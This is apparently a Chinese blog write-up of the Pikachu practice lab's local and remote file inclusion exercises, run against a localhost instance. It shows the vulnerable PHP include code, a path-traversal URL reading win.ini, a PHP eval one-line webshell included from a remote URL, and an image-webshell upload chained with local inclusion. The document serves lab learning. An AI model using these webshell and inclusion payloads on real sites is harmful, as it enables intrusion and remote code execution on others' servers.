pikachu靶场关于文件包函漏洞的描述

file inclusion(local)

在这里插入图片描述

正常点击下拉单选框会要求你选择球星并输出他们的个人信息

查看url发现如下:

http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

其中通过GET方式传参传入的为file1.php

其他几位球星则分别是file1.php~~file5.php,那么针对这个情况进行1-100的数字爆破

发现file6.php有问题

在这里插入图片描述

其他的就有报错了

在这里插入图片描述

通过报错信息可以确认服务器操作系统为Windows,以及网站根目录所在的位置

源代码是这么写的:

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}

genjudalao给出的WP,构建payload

http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

可以查看win.ini的信息

在这里插入图片描述

当然如果有Webshell的话可以用这种方法进行连接

fileinclusion(remote)

题面就不放图了,和上一题一样

远程文件包含漏洞,同上一道题一样,在这里看一下传入的url,比如说我们传入的是file1.php

http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

既然如此,不难看出这里的GET传参中整个include函数所使用的参数都被展示出来了,那么是不是就可以直接访问web中的文件了?那么就在本地服务器中写一个php一句话木马并命名为2.txt,内容:

<?php @eval($_POST['key']); ?>

然后使用python自带的SocketServer开启服务(这也是看WP新get到的技能)(在这里使用的目录为钢刺啊编写好了的Webshell所在的目录)

在这里插入图片描述

接下来编辑payload

http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8081/2.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

post过去个key试试?

在这里插入图片描述

成功起到了Webshell的作用

那还愣着干什么,拔出蚁剑,砍他!!!!!!

在这里插入图片描述

在这里插入图片描述

乌拉~~~

关于本地远程文件包含这边提一下文件上传漏洞一处的做法

getimagesize()

还是一个文件上传的题目


看了眼提示,我去查了一下getimagesize()函数的用法,发现是这样的:

<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>

可以获取目标图片文件的一系列属性,那么我们上传的就必须是一个图片文件,那么就制作图片马

在这里插入图片描述
在这里插入图片描述

其中的new.jpg为图片马

在这里插入图片描述

上传成功,路径为:uploads/2022/01/19/12419861e811fda1ca7328740305.jpg

接下来使用本地文件包含漏洞

在这里插入图片描述

根据url判断相对地址,构建payload

http://127.0.0.1/Cyberspace/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/01/21/94950961ea505a86cca496020197.jpg&submit=%E6%8F%90%E4%BA%A4

2022.3.30补充

之前一直使用/b的形式生成图片马,结果会导致其中的<?中的<无法被解析出来从而导致失败。所以在这边使用/a使用ascii编码的方式进行再次尝试。

在这里插入图片描述

看这边,这不就成了?????

在这里插入图片描述

在这里插入图片描述

看这张图更加可以确定是被解析出来了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小龙有点懵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值